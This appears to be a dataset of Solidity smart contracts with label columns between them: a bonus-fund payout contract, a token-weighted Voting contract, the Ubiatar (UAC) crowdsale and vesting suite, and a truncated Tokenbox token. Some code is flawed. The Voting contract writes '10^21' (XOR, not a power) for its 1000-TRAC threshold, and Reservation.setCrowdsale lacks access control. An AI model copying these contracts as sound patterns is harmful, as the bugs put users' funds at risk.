if(challenge.mentorFee > 0) {
serviceFee = challenge.mentorFee.div(100).mul(serviceFeePercentage);
mentorFee = challenge.mentorFee.div(100).mul(100 - serviceFeePercentage);
}
if(challenge.mentorFee > 0)
remainingValue = challenge.value.sub(challenge.mentorFee);
uint valueToPay;
if(decision) {
valueToPay = remainingValue;
uint currentBonus = bonusFund[user];
if(currentBonus > 0)
{
uint bonusValue = bonusFund[user].div(100).mul(bonusPercentage);
if(currentBonus <= minBonus)
bonusValue = currentBonus;
bonusFund[user] -= bonusValue;
emit BonusFundChanged(user, bonusFund[user]);
valueToPay += bonusValue;
}
}
else {
bonusFund[user] += remainingValue;
emit BonusFundChanged(user, bonusFund[user]);
}
if(valueToPay > 0)
user.transfer(valueToPay);
if(mentorFee > 0)
mentor.transfer(mentorFee);
if(serviceFee > 0)
owner().transfer(serviceFee);
emit ChallengeResolved(challengeId, user, mentor, decision);
}
function withdraw()
external
gameIsOver {
require(bonusFund[msg.sender] > 0, "You do not have any funds");
uint funds = bonusFund[msg.sender];
bonusFund[msg.sender] = 0;
msg.sender.transfer(funds);
}
function donate(string name, string url)
external
payable
gameIsNotOver {
owner().transfer(msg.value);
emit Donation(name, url, msg.value, block.timestamp);
}
} | 0 | 55 |
pragma solidity ^0.4.24;
interface ERC725 {
function keyHasPurpose(bytes32 _key, uint256 _purpose) public view returns (bool result);
}
interface ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
}
interface ProfileStorage {
function getStake(address identity) public view returns(uint256);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only contract owner can call this function");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Voting is Ownable {
mapping(address => bool) public walletApproved;
mapping(address => bool) public walletVoted;
ERC20Basic public tokenContract;
ProfileStorage public profileStorageContract;
uint256 public votingClosingTime;
struct Candidate{
string name;
uint256 votes;
}
Candidate[34] public candidates;
constructor (address tokenContractAddress, address profileStorageContractAddress) public {
tokenContract = ERC20Basic(tokenContractAddress);
profileStorageContract = ProfileStorage(profileStorageContractAddress);
votingClosingTime = 0;
candidates[0].name = "Air Sourcing";
candidates[1].name = "Ametlab";
candidates[2].name = "B2B Section of Slovenian Blockchain Association (SBCA)";
candidates[3].name = "Beleaf & Co";
candidates[4].name = "BioGenom 2.0";
candidates[5].name = "CAM Engineering";
candidates[6].name = "Dispensa Dei Tipici";
candidates[7].name = "Fuzzy Factory";
candidates[8].name = "GSC Platform";
candidates[9].name = "HydraWarehouse";
candidates[10].name = "Ibis Eteh";
candidates[11].name = "Infotrans";
candidates[12].name = "Intelisale";
candidates[13].name = "Istmos";
candidates[14].name = "Ivy Food Tech";
candidates[15].name = "Journey Foods";
candidates[16].name = "Kakaxi";
candidates[17].name = "L.Co";
candidates[18].name = "LynqWallet";
candidates[19].name = "MedicoHealth AG";
candidates[20].name = "Moku Menehune";
candidates[21].name = "NetSDL";
candidates[22].name = "Orchit";
candidates[23].name = "Phy2Trace";
candidates[24].name = "Procurean";
candidates[25].name = "PsyChain";
candidates[26].name = "RealMeal";
candidates[27].name = "Reterms";
candidates[28].name = "Sensefinity";
candidates[29].name = "Solomon Ears";
candidates[30].name = "Space Invoices";
candidates[31].name = "Step Online";
candidates[32].name = "TMA";
candidates[33].name = "Zemlja&Morje";
}
function startVoting() public onlyOwner {
require(votingClosingTime == 0, "Voting already started once!");
votingClosingTime = block.timestamp + 7 days;
}
event WalletApproved(address wallet, address ERC725Address);
event WalletRejected(address wallet, address ERC725Address, string reason);
event WalletVoted(address wallet, string firstChoice, string secondChoice, string thirdChoice);
function approveMultipleWallets(address[] wallets, address[] ERC725Addresses) public onlyOwner {
require(votingClosingTime == 0, "Voting already started!");
require(wallets.length <= 50, "Cannot approve more than 50 wallets at a time!");
require(wallets.length == ERC725Addresses.length, "Arrays are not the same length!");
uint256 i = 0;
for(i = 0; i < wallets.length && i < 50; i = i + 1) {
walletApproved[wallets[i]] = false;
if (wallets[i] == address(0) && ERC725Addresses[i] == address(0)) {
emit WalletRejected(wallets[i], ERC725Addresses[i],
"Cannot verify an empty application!");
}
else {
if(ERC725Addresses[i] != address(0)) {
if(profileStorageContract.getStake(ERC725Addresses[i]) >= 10^21) {
walletApproved[ERC725Addresses[i]] = true;
emit WalletApproved(address(0), ERC725Addresses[i]);
}
else {
emit WalletRejected(wallets[i], ERC725Addresses[i],
"Profile does not have at least 1000 trac at the time of approval!");
}
}
else {
if(tokenContract.balanceOf(wallets[i]) >= 10^21) {
walletApproved[wallets[i]] = true;
emit WalletApproved(wallets[i], address(0));
}
else {
emit WalletRejected(wallets[i], address(0),
"Wallet does not have at least 1000 trac at the time of approval!");
}
}
}
}
}
function disapproveMultipleWallets(address[] wallets) public onlyOwner {
require(wallets.length <= 50, "Cannot approve more than 50 wallets at a time!");
uint256 i = 0;
for(i = 0; i < wallets.length && i < 50; i = i + 1) {
walletApproved[wallets[i]] = false;
emit WalletRejected(wallets[i], address(0), "Wallet approval removed!");
}
}
function isWalletApproved(address wallet) public view returns (bool) {
return walletApproved[wallet];
}
function vote(uint256[] candidateIndexes) public {
require(votingClosingTime != 0, "Voting has not yet started!");
require(votingClosingTime >= block.timestamp, "Voting period has expired!");
require(walletApproved[msg.sender] == true, "Sender is not approved and thus cannot vote!");
require(walletVoted[msg.sender] == false, "Sender already voted!");
require(candidateIndexes.length == 3, "Must vote for 3 candidates!");
require(candidateIndexes[0] != candidateIndexes[1], "Cannot cast multiple votes for the same person!");
require(candidateIndexes[1] != candidateIndexes[2], "Cannot cast multiple votes for the same person!");
require(candidateIndexes[2] != candidateIndexes[0], "Cannot cast multiple votes for the same person!");
require(candidateIndexes[0] >= 0 && candidateIndexes[0] < candidates.length, "The selected candidate does not exist!");
require(candidateIndexes[1] >= 0 && candidateIndexes[1] < candidates.length, "The selected candidate does not exist!");
require(candidateIndexes[2] >= 0 && candidateIndexes[2] < candidates.length, "The selected candidate does not exist!");
walletVoted[msg.sender] = true;
emit WalletVoted(msg.sender, candidates[candidateIndexes[0]].name, candidates[candidateIndexes[1]].name, candidates[candidateIndexes[2]].name);
assert(candidates[candidateIndexes[0]].votes + 3 > candidates[candidateIndexes[0]].votes);
candidates[candidateIndexes[0]].votes = candidates[candidateIndexes[0]].votes + 3;
assert(candidates[candidateIndexes[1]].votes + 2 > candidates[candidateIndexes[1]].votes);
candidates[candidateIndexes[1]].votes = candidates[candidateIndexes[1]].votes + 2;
assert(candidates[candidateIndexes[2]].votes + 1 > candidates[candidateIndexes[2]].votes);
candidates[candidateIndexes[2]].votes = candidates[candidateIndexes[2]].votes + 1;
require(tokenContract.balanceOf(msg.sender) >= 10^21, "Sender does not have at least 1000 TRAC and thus cannot vote!");
}
function voteWithProfile(uint256[] candidateIndexes, address ERC725Address) public {
require(votingClosingTime != 0, "Voting has not yet started!");
require(votingClosingTime >= block.timestamp, "Voting period has expired!");
require(walletApproved[msg.sender] == true || walletApproved[ERC725Address] == true, "Sender is not approved and thus cannot vote!");
require(walletVoted[msg.sender] == false, "Sender already voted!");
require(walletVoted[ERC725Address] == false, "Profile was already used for voting!");
require(candidateIndexes.length == 3, "Must vote for 3 candidates!");
require(candidateIndexes[0] != candidateIndexes[1], "Cannot cast multiple votes for the same person!");
require(candidateIndexes[1] != candidateIndexes[2], "Cannot cast multiple votes for the same person!");
require(candidateIndexes[2] != candidateIndexes[0], "Cannot cast multiple votes for the same person!");
require(candidateIndexes[0] >= 0 && candidateIndexes[0] < candidates.length, "The selected candidate does not exist!");
require(candidateIndexes[1] >= 0 && candidateIndexes[1] < candidates.length, "The selected candidate does not exist!");
require(candidateIndexes[2] >= 0 && candidateIndexes[2] < candidates.length, "The selected candidate does not exist!");
walletVoted[msg.sender] = true;
walletVoted[ERC725Address] = true;
emit WalletVoted(msg.sender, candidates[candidateIndexes[0]].name, candidates[candidateIndexes[1]].name, candidates[candidateIndexes[2]].name);
assert(candidates[candidateIndexes[0]].votes + 3 > candidates[candidateIndexes[0]].votes);
candidates[candidateIndexes[0]].votes = candidates[candidateIndexes[0]].votes + 3;
assert(candidates[candidateIndexes[1]].votes + 2 > candidates[candidateIndexes[1]].votes);
candidates[candidateIndexes[1]].votes = candidates[candidateIndexes[1]].votes + 2;
assert(candidates[candidateIndexes[2]].votes + 1 > candidates[candidateIndexes[2]].votes);
candidates[candidateIndexes[2]].votes = candidates[candidateIndexes[2]].votes + 1;
require(ERC725(ERC725Address).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)), 2),
"Sender is not the management wallet for this ERC725 identity!");
require(tokenContract.balanceOf(msg.sender) >= 10^21 || profileStorageContract.getStake(ERC725Address) >= 10^21,
"Neither the sender nor the submitted profile have at least 1000 TRAC and thus cannot vote!");
}
} | 0 | 638 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.18;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.18;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
pragma solidity ^0.4.18;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
pragma solidity ^0.4.18;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.19;
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
function KYCBase(address [] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
function releaseTokensTo(address buyer) internal returns(bool);
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount);
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
return true;
}
function () public {
revert();
}
}
pragma solidity ^0.4.19;
contract ICOEngineInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
function startTime() public view returns(uint);
function endTime() public view returns(uint);
function totalTokens() public view returns(uint);
function remainingTokens() public view returns(uint);
function price() public view returns(uint);
}
pragma solidity ^0.4.19;
contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase {
uint256 public constant USD_PER_TOKEN = 2;
uint256 public constant USD_PER_ETHER = 795;
uint256 public start;
uint256 public end;
uint256 public cap;
address public wallet;
uint256 public tokenPerEth;
uint256 public availableTokens;
address[] public kycSigners;
bool public capReached;
uint256 public weiRaised;
uint256 public tokensSold;
function CrowdsaleBase(
uint256 _start,
uint256 _end,
uint256 _cap,
address _wallet,
address[] _kycSigners
)
public
KYCBase(_kycSigners)
{
require(_end >= _start);
require(_cap > 0);
start = _start;
end = _end;
cap = _cap;
wallet = _wallet;
tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN);
availableTokens = _cap;
kycSigners = _kycSigners;
}
function started() public view returns(bool) {
if (block.timestamp >= start) {
return true;
} else {
return false;
}
}
function ended() public view returns(bool) {
if (block.timestamp >= end) {
return true;
} else {
return false;
}
}
function startTime() public view returns(uint) {
return start;
}
function endTime() public view returns(uint) {
return end;
}
function totalTokens() public view returns(uint) {
return cap;
}
function remainingTokens() public view returns(uint) {
return availableTokens;
}
function senderAllowedFor(address buyer) internal view returns(bool) {
require(buyer != address(0));
return true;
}
function releaseTokensTo(address buyer) internal returns(bool) {
require(validPurchase());
uint256 overflowTokens;
uint256 refundWeiAmount;
uint256 weiAmount = msg.value;
uint256 tokenAmount = weiAmount.mul(price());
if (tokenAmount >= availableTokens) {
capReached = true;
overflowTokens = tokenAmount.sub(availableTokens);
tokenAmount = tokenAmount.sub(overflowTokens);
refundWeiAmount = overflowTokens.div(price());
weiAmount = weiAmount.sub(refundWeiAmount);
buyer.transfer(refundWeiAmount);
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
availableTokens = availableTokens.sub(tokenAmount);
mintTokens(buyer, tokenAmount);
forwardFunds(weiAmount);
return true;
}
function forwardFunds(uint256 _weiAmount) internal {
wallet.transfer(_weiAmount);
}
function validPurchase() internal view returns (bool) {
require(!paused && !capReached);
require(block.timestamp >= start && block.timestamp <= end);
return true;
}
function mintTokens(address to, uint256 amount) private;
}
pragma solidity ^0.4.19;
contract Reservation is CrowdsaleBase {
uint256 public constant START_TIME = 1525683600;
uint256 public constant END_TIME = 1525856400;
uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18;
uint256 public constant BONUS = 110;
UacCrowdsale public crowdsale;
function Reservation(
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners)
{
}
function setCrowdsale(address _crowdsale) public {
require(crowdsale == address(0));
crowdsale = UacCrowdsale(_crowdsale);
}
function price() public view returns (uint256) {
return tokenPerEth.mul(BONUS).div(1e2);
}
function mintTokens(address to, uint256 amount) private {
crowdsale.mintReservationTokens(to, amount);
}
}
pragma solidity ^0.4.18;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.18;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.18;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
pragma solidity ^0.4.18;
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.19;
contract UacToken is CanReclaimToken, MintableToken, PausableToken {
string public constant name = "Ubiatar Coin";
string public constant symbol = "UAC";
uint8 public constant decimals = 18;
function UacToken() public {
paused = true;
}
}
pragma solidity ^0.4.19;
contract UbiatarPlayVault {
using SafeMath for uint256;
using SafeERC20 for UacToken;
uint256[6] public vesting_offsets = [
90 days,
180 days,
270 days,
360 days,
540 days,
720 days
];
uint256[6] public vesting_amounts = [
2e6 * 1e18,
4e6 * 1e18,
6e6 * 1e18,
8e6 * 1e18,
10e6 * 1e18,
20.5e6 * 1e18
];
address public ubiatarPlayWallet;
UacToken public token;
uint256 public start;
uint256 public released;
function UbiatarPlayVault(
address _ubiatarPlayWallet,
address _token,
uint256 _start
)
public
{
ubiatarPlayWallet = _ubiatarPlayWallet;
token = UacToken(_token);
start = _start;
}
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.safeTransfer(ubiatarPlayWallet, unreleased);
}
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(released);
}
function vestedAmount() public view returns (uint256) {
uint256 vested = 0;
for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) {
if (block.timestamp > start.add(vesting_offsets[i])) {
vested = vested.add(vesting_amounts[i]);
}
}
return vested;
}
}
pragma solidity ^0.4.17;
contract PresaleTokenVault {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
uint256 public constant VESTING_OFFSET = 90 days;
uint256 public constant VESTING_DURATION = 180 days;
uint256 public start;
uint256 public cliff;
uint256 public end;
ERC20Basic public token;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
Investment[] public investments;
mapping(address => uint256) public investorLUT;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_OFFSET);
end = cliff.add(VESTING_DURATION);
token = ERC20Basic(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investorLUT[beneficiaries[i]] = investments.length;
investments.push(Investment(beneficiaries[i], balances[i], 0));
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
uint256 investmentIndex = investorLUT[beneficiary];
investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
return vestedAmount(beneficiary).sub(investments[investmentIndex].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
uint256 vested = 0;
if (block.timestamp >= start) {
vested = investments[investmentIndex].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 p1 = investments[investmentIndex].totalBalance.div(3);
uint256 p2 = investments[investmentIndex].totalBalance;
uint256 d_token = p2.sub(p1);
uint256 time = block.timestamp.sub(cliff);
uint256 d_time = end.sub(cliff);
vested = vested.add(d_token.mul(time).div(d_time));
}
if (block.timestamp >= end) {
vested = investments[investmentIndex].totalBalance;
}
return vested;
}
}
pragma solidity ^0.4.19;
contract UacCrowdsale is CrowdsaleBase {
uint256 public constant START_TIME = 1525856400;
uint256 public constant END_TIME = 1528448400;
uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days;
uint256 public constant PRESALE_CAP = 17584778551358900100698693;
uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18;
uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18;
uint256 public constant FOUNDERS_CAP = 12e6 * 1e18;
uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18;
uint256 public constant ADVISORS_CAP = 4915221448641099899301307;
uint256 public constant BONUS_TIER1 = 108;
uint256 public constant BONUS_TIER2 = 106;
uint256 public constant BONUS_TIER3 = 104;
uint256 public constant BONUS_DURATION_1 = 3 hours;
uint256 public constant BONUS_DURATION_2 = 12 hours;
uint256 public constant BONUS_DURATION_3 = 42 hours;
uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years;
uint256 public constant FOUNDERS_VESTING_DURATION = 2 years;
Reservation public reservation;
PresaleTokenVault public presaleTokenVault;
TokenVesting public foundersVault;
UbiatarPlayVault public ubiatarPlayVault;
address public foundersWallet;
address public advisorsWallet;
address public ubiatarPlayWallet;
address public wallet;
UacToken public token;
bool public didOwnerEndCrowdsale;
function UacCrowdsale(
address _token,
address _reservation,
address _presaleTokenVault,
address _foundersWallet,
address _advisorsWallet,
address _ubiatarPlayWallet,
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners)
{
token = UacToken(_token);
reservation = Reservation(_reservation);
presaleTokenVault = PresaleTokenVault(_presaleTokenVault);
foundersWallet = _foundersWallet;
advisorsWallet = _advisorsWallet;
ubiatarPlayWallet = _ubiatarPlayWallet;
wallet = _wallet;
foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false);
ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME);
}
function mintPreAllocatedTokens() public onlyOwner {
mintTokens(address(foundersVault), FOUNDERS_CAP);
mintTokens(advisorsWallet, ADVISORS_CAP);
mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP);
}
function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner {
require(beneficiaries.length == balances.length);
presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token);
uint256 totalPresaleBalance = 0;
uint256 balancesLength = balances.length;
for(uint256 i = 0; i < balancesLength; i++) {
totalPresaleBalance = totalPresaleBalance.add(balances[i]);
}
mintTokens(presaleTokenVault, totalPresaleBalance);
}
function price() public view returns (uint256 _price) {
if (block.timestamp <= start.add(BONUS_DURATION_1)) {
return tokenPerEth.mul(BONUS_TIER1).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_2)) {
return tokenPerEth.mul(BONUS_TIER2).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_3)) {
return tokenPerEth.mul(BONUS_TIER3).div(1e2);
}
return tokenPerEth;
}
function mintReservationTokens(address to, uint256 amount) public {
require(msg.sender == address(reservation));
tokensSold = tokensSold.add(amount);
availableTokens = availableTokens.sub(amount);
mintTokens(to, amount);
}
function mintTokens(address to, uint256 amount) private {
token.mint(to, amount);
}
function closeCrowdsale() public onlyOwner {
require(block.timestamp >= START_TIME && block.timestamp < END_TIME);
didOwnerEndCrowdsale = true;
}
function finalise() public onlyOwner {
require(didOwnerEndCrowdsale || block.timestamp > end || capReached);
token.finishMinting();
token.unpause();
token.transferOwnership(owner);
}
} | 0 | 302 |
pragma solidity ^0.4.13;
contract AbstractToken {
function totalSupply() constant returns (uint256) {}
function balanceOf(address owner) constant returns (uint256 balance);
function transfer(address to, uint256 value) returns (bool success);
function transferFrom(address from, address to, uint256 value) returns (bool success);
function approve(address spender, uint256 value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
}
contract Owned {
address public owner = msg.sender;
address public potentialOwner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPotentialOwner {
require(msg.sender == potentialOwner);
_;
}
event NewOwner(address old, address current);
event NewPotentialOwner(address old, address potential);
function setOwner(address _new)
public
onlyOwner
{
NewPotentialOwner(owner, _new);
potentialOwner = _new;
}
function confirmOwnership()
public
onlyPotentialOwner
{
NewOwner(owner, potentialOwner);
owner = potentialOwner;
potentialOwner = 0;
}
}
contract StandardToken is AbstractToken, Owned {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function pow(uint a, uint b) internal returns (uint) {
uint c = a ** b;
assert(c >= a);
return c;
}
}
contract Token is StandardToken, SafeMath {
uint public creationTime;
function Token() {
creationTime = now;
}
function transferERC20Token(address tokenAddress)
public
onlyOwner
returns (bool)
{
uint balance = AbstractToken(tokenAddress).balanceOf(this);
return AbstractToken(tokenAddress).transfer(owner, balance);
}
function withDecimals(uint number, uint decimals)
internal
returns (uint)
{
return mul(number, pow(10, decimals));
}
}
contract TokenboxToken is Token {
string constant public name = "Tokenbox";
